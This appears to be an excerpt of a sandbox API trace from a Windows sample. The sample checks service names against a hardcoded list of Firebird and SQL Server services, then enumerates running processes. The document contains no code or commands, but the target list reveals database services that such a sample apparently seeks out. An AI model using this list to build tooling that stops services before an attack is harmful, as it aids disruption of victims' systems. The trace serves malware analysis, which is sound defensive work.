	[0180.421] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0180.421] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0180.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0180.421] lstrlenW (lpString="KeyIso") returned 6
	[0180.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0180.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0180.421] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0180.421] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0180.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0180.422] lstrlenW (lpString="LanmanServer") returned 12
	[0180.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0180.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0180.422] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0180.422] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0180.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0180.422] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0180.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0180.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0180.422] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0180.422] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0180.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0180.422] lstrlenW (lpString="lfsvc") returned 5
	[0180.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0180.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0180.422] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0180.422] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0180.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0180.422] lstrlenW (lpString="lmhosts") returned 7
	[0180.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0180.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0180.422] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0180.422] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0180.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0180.422] lstrlenW (lpString="LSM") returned 3
	[0180.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0180.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0180.423] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0180.423] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0180.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0180.423] lstrlenW (lpString="MpsSvc") returned 6
	[0180.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0180.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0180.423] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0180.423] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0180.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0180.423] lstrlenW (lpString="NcbService") returned 10
	[0180.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0180.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0180.423] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0180.423] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0180.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0180.423] lstrlenW (lpString="netprofm") returned 8
	[0180.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0180.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0180.423] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0180.423] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0180.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0180.423] lstrlenW (lpString="NgcSvc") returned 6
	[0180.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0180.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0180.423] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0180.423] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0180.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0180.424] lstrlenW (lpString="NlaSvc") returned 6
	[0180.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0180.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0180.424] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0180.424] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0180.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0180.424] lstrlenW (lpString="nsi") returned 3
	[0180.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0180.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0180.424] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0180.424] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0180.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0180.424] lstrlenW (lpString="PcaSvc") returned 6
	[0180.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0180.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0180.424] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0180.424] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0180.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0180.545] lstrlenW (lpString="PlugPlay") returned 8
	[0180.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0180.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0180.545] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0180.545] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0180.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0180.554] lstrlenW (lpString="Power") returned 5
	[0180.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0180.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0180.555] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0180.555] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0180.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0180.555] lstrlenW (lpString="ProfSvc") returned 7
	[0180.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0180.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0180.555] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0180.555] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0180.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0180.555] lstrlenW (lpString="RpcEptMapper") returned 12
	[0180.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0180.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0180.555] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0180.555] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0180.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0180.555] lstrlenW (lpString="RpcSs") returned 5
	[0180.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0180.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0180.555] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0180.555] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0180.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0180.556] lstrlenW (lpString="SamSs") returned 5
	[0180.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0180.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0180.556] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0180.556] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0180.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0180.556] lstrlenW (lpString="Schedule") returned 8
	[0180.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0180.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0180.556] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0180.556] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0180.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0180.556] lstrlenW (lpString="SecurityHealthService") returned 21
	[0180.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0180.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0180.556] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0180.556] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0180.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0180.556] lstrlenW (lpString="SENS") returned 4
	[0180.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0180.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0180.556] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0180.556] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0180.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0180.557] lstrlenW (lpString="ShellHWDetection") returned 16
	[0180.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0180.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0180.557] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0180.557] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0180.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0180.557] lstrlenW (lpString="Spooler") returned 7
	[0180.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0180.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0180.557] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0180.557] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0180.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0180.557] lstrlenW (lpString="StateRepository") returned 15
	[0180.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0180.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0180.557] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0180.559] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0180.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0180.560] lstrlenW (lpString="SysMain") returned 7
	[0180.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0180.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0180.560] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0180.560] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0180.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0180.560] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0180.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0180.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0180.560] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0180.560] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0180.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0180.560] lstrlenW (lpString="Themes") returned 6
	[0180.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0180.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0180.560] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0180.560] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0180.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0180.560] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0180.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0180.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0180.561] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0180.561] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0180.561] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43190d8 | out: hHeap=0x6a0000) returned 1
	[0180.561] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x358
	[0180.573] Process32FirstW (in: hSnapshot=0x358, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0180.573] Process32NextW (in: hSnapshot=0x358, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0180.574] lstrlenW (lpString="System") returned 6
	[0180.574] Process32NextW (in: hSnapshot=0x358, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0180.577] lstrlenW (lpString="smss.exe") returned 8
	[0180.577] Process32NextW (in: hSnapshot=0x358, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0180.578] lstrlenW (lpString="csrss.exe") returned 9
	[0180.578] Process32NextW (in: hSnapshot=0x358, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0180.579] lstrlenW (lpString="wininit.exe") returned 11
	[0180.579] Process32NextW (in: hSnapshot=0x358, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0180.580] lstrlenW (lpString="csrss.exe") returned 9
	[0180.580] Process32NextW (in: hSnapshot=0x358, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0180.584] lstrlenW (lpString="winlogon.exe") returned 12
	[0180.584] Process32NextW (in: hSnapshot=0x358, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0180.584] lstrlenW (lpString="services.exe") returned 12
	[0180.585] Process32NextW (in: hSnapshot=0x358, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0180.585] lstrlenW (lpString="lsass.exe") returned 9
	[0180.585] Process32NextW (in: hSnapshot=0x358, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0180.586] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0180.586] Process32NextW (in: hSnapshot=0x358, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0180.587] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0180.587] Process32NextW (in: hSnapshot=0x358, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.588] lstrlenW (lpString="svchost.exe") returned 11
	[0180.588] Process32NextW (in: hSnapshot=0x358, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.589] lstrlenW (lpString="svchost.exe") returned 11
	[0180.589] Process32NextW (in: hSnapshot=0x358, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0180.591] lstrlenW (lpString="dwm.exe") returned 7
	[0180.592] Process32NextW (in: hSnapshot=0x358, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.608] lstrlenW (lpString="svchost.exe") returned 11
	[0180.608] Process32NextW (in: hSnapshot=0x358, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.624] lstrlenW (lpString="svchost.exe") returned 11
	[0180.624] Process32NextW (in: hSnapshot=0x358, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.625] lstrlenW (lpString="svchost.exe") returned 11
	[0180.625] Process32NextW (in: hSnapshot=0x358, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.626] lstrlenW (lpString="svchost.exe") returned 11
	[0180.626] Process32NextW (in: hSnapshot=0x358, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.627] lstrlenW (lpString="svchost.exe") returned 11
	[0181.508] Process32NextW (in: hSnapshot=0x358, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0181.509] lstrlenW (lpString="svchost.exe") returned 11
	[0181.509] Process32NextW (in: hSnapshot=0x358, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0181.510] lstrlenW (lpString="svchost.exe") returned 11
	[0181.510] Process32NextW (in: hSnapshot=0x358, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0181.511] lstrlenW (lpString="svchost.exe") returned 11
	[0181.511] Process32NextW (in: hSnapshot=0x358, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0181.512] lstrlenW (lpString="svchost.exe") returned 11
	[0181.512] Process32NextW (in: hSnapshot=0x358, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0181.513] lstrlenW (lpString="svchost.exe") returned 11
	[0181.513] Process32NextW (in: hSnapshot=0x358, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0181.514] lstrlenW (lpString="spoolsv.exe") returned 11
	[0181.514] Process32NextW (in: hSnapshot=0x358, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0181.515] lstrlenW (lpString="svchost.exe") returned 11
	[0181.515] Process32NextW (in: hSnapshot=0x358, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0181.516] lstrlenW (lpString="audiodg.exe") returned 11
	[0181.516] Process32NextW (in: hSnapshot=0x358, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0181.517] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0181.517] Process32NextW (in: hSnapshot=0x358, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0181.517] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0181.518] Process32NextW (in: hSnapshot=0x358, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0181.519] lstrlenW (lpString="sihost.exe") returned 10
	[0181.519] Process32NextW (in: hSnapshot=0x358, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0181.520] lstrlenW (lpString="Memory Compression") returned 18
	[0181.520] Process32NextW (in: hSnapshot=0x358, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0181.521] lstrlenW (lpString="svchost.exe") returned 11
